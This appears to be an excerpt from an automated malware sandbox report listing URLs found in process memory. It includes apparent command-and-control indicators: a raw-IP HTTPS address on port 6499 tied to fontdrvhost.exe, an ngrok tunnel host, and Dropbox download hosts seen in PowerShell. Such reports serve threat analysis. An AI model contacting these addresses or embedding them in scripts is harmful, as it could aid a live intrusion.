Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6439
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6651
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6692
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6755
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6860
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6876
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6878
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6929
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6953
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7036
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7047
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7172
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7279
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7370
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7406
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000004.00000003.1890101191.000038B00261C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7488
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7553
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7556
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7724
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7760
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7761
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8162
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280
Source: powershell.exe, 00000002.00000002.2080022675.000001B0FAEC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: svchost.exe, 00000005.00000002.2990495918.0000028979A0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edge-block-www-env.dropbox-dns.com
Source: svchost.exe, 00000005.00000003.1885468634.0000028979788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: svchost.exe, 00000005.00000003.1885468634.0000028979788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: svchost.exe, 00000005.00000003.1885468634.0000028979788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: svchost.exe, 00000005.00000003.1885468634.0000028979788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000005.00000003.1885468634.0000028979788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000005.00000003.1885468634.0000028979788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000005.00000003.1885468634.00000289797BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 00000005.00000003.1885468634.0000028979877000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000000.2128011569.00000000005B5000.00000002.00000001.01000000.00000014.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2351929941.00000000005B5000.00000002.00000001.01000000.00000014.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2353422668.0000000003480000.00000004.00001000.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000000.2300777894.00000000005B5000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: http://fortress.x2game.com/common/executeX2Chat.asp
Source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000000.2128011569.00000000005B5000.00000002.00000001.01000000.00000014.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2351929941.00000000005B5000.00000002.00000001.01000000.00000014.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2353422668.0000000003480000.00000004.00001000.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000000.2300777894.00000000005B5000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: http://fortress.x2game.com/common/executeX2Chat.aspX2Chat
Source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000000.2300777894.00000000005B5000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: http://fortress.x2game.com/forGame/patch/patchGame.asp
Source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000000.2128011569.00000000005B5000.00000002.00000001.01000000.00000014.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2351929941.00000000005B5000.00000002.00000001.01000000.00000014.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2353422668.0000000003480000.00000004.00001000.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000000.2300777894.00000000005B5000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: http://fortress.x2game.com/gamein/auth/issuePassport4Game.asp
Source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000000.2128011569.00000000005B5000.00000002.00000001.01000000.00000014.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2351929941.00000000005B5000.00000002.00000001.01000000.00000014.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2353422668.0000000003480000.00000004.00001000.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000000.2300777894.00000000005B5000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: http://fortress.x2game.com/gamein/auth/issuePassport4Game2.asp
Source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000000.2128011569.00000000005B5000.00000002.00000001.01000000.00000014.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2351929941.00000000005B5000.00000002.00000001.01000000.00000014.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2353422668.0000000003480000.00000004.00001000.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000000.2300777894.00000000005B5000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: http://fortress.x2game.com/gamein/auth/issuePassport4Game3.asp
Source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000000.2128011569.00000000005B5000.00000002.00000001.01000000.00000014.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2351929941.00000000005B5000.00000002.00000001.01000000.00000014.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2353422668.0000000003480000.00000004.00001000.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000000.2300777894.00000000005B5000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: http://fortress.x2game.com/gamein/auth/issuePassport4Game3.asphttp://fortress.x2game.com/gamein/game
Source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000000.2128011569.00000000005B5000.00000002.00000001.01000000.00000014.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2351929941.00000000005B5000.00000002.00000001.01000000.00000014.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2353422668.0000000003480000.00000004.00001000.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000000.2300777894.00000000005B5000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: http://fortress.x2game.com/gamein/gameguide/require/howtoplay.htm
Source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000000.2128011569.00000000005B5000.00000002.00000001.01000000.00000014.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2351929941.00000000005B5000.00000002.00000001.01000000.00000014.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2353422668.0000000003480000.00000004.00001000.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000000.2300777894.00000000005B5000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: http://fortress.x2game.com/gamein/news/notice_list.asp
Source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000000.2128011569.00000000005B5000.00000002.00000001.01000000.00000014.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2351929941.00000000005B5000.00000002.00000001.01000000.00000014.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2353422668.0000000003480000.00000004.00001000.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000000.2300777894.00000000005B5000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: http://fortress.x2game.com/gamein/ranking/total_kill.asp
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E3354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: powershell.exe, 00000002.00000002.2066486105.000001B0F2BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2D77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2B51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC8DC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000014.00000002.2178721776.0000022ECA0FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app
Source: powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://uc26cd856889af6709e05ec15dd7.dl.dropboxusercontent.com
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ucc9f8684d180ce9f114a6112ba0.dl.dropboxusercontent.com
Source: powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ucfef6d549d3a2fa51e2fe02a12f.dl.dropboxusercontent.com
Source: powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www-env.dropbox-dns.com
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2D77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.dropbox.com
Source: powershell.exe, 00000002.00000002.2078170607.000001B0FAE22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.micom/pkiops/Docs/ry.htm0
Source: fontdrvhost.exe	String found in binary or memory: https://162.213.210.250:6499/f0a115d49c8f2edda6ff622c/j8h2dndg.mcjxo
Source: fontdrvhost.exe, 0000001F.00000003.2437351985.0000000005804000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://162.213.210.250:6499/f0a115d49c8f2edda6ff622c/j8h2dndg.mcjxokernelbasentdllkernel32GetProces
Source: fontdrvhost.exe, 0000001F.00000002.2437920824.0000000002DBC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://162.213.210.250:6499/f0a115d49c8f2edda6ff622c/j8h2dndg.mcjxox
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://a.sprig.com/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/gsi/client
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2B51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC8DA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC8D8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3FBF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E4AFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E4AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E4820000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3CA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E3FBF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E4AFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E4AD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelpX
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: msedge.exe, 00000004.00000003.1888772652.000038B002590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.login.yahoo.com/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.hellofax.com/
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.hellosign.com/
Source: msedge.exe, 00000015.00000002.2108568891.000001BA588A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: msedge.exe, 00000004.00000002.1938663626.000001DBFE8C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.combt
Source: powershell.exe, 00000002.00000002.1993170455.000001B0E2F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E3241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1993170455.000001B0E2EFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://canny.io/sdk.js
Source: powershell.exe, 00000014.00000002.2178721776.0000022EC9B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cfl.dropboxstatic.com/static/
Source: msedge.exe, 00000004.00000002.1954605048.000038B00237C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000002.2110567962.00000D100016C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: msedge.exe, 00000004.00000002.1954605048.000038B00237C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000002.2110567962.00000D100016C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromewebstore.google.com/
Source: msedge.exe, 00000004.00000002.1952972858.000038B002254000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000002.2109917892.00000D1000040000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: fontdrvhost.exe, 0000001F.00000003.2356380893.00000000052BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cloudflare-dns.com/dns-query
Source: fontdrvhost.exe, 0000001F.00000003.2356380893.00000000052BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cloudflare-dns.com/dns-queryPOSTContent-TypeContent-LengthHostapplication/dns-message%dMachi
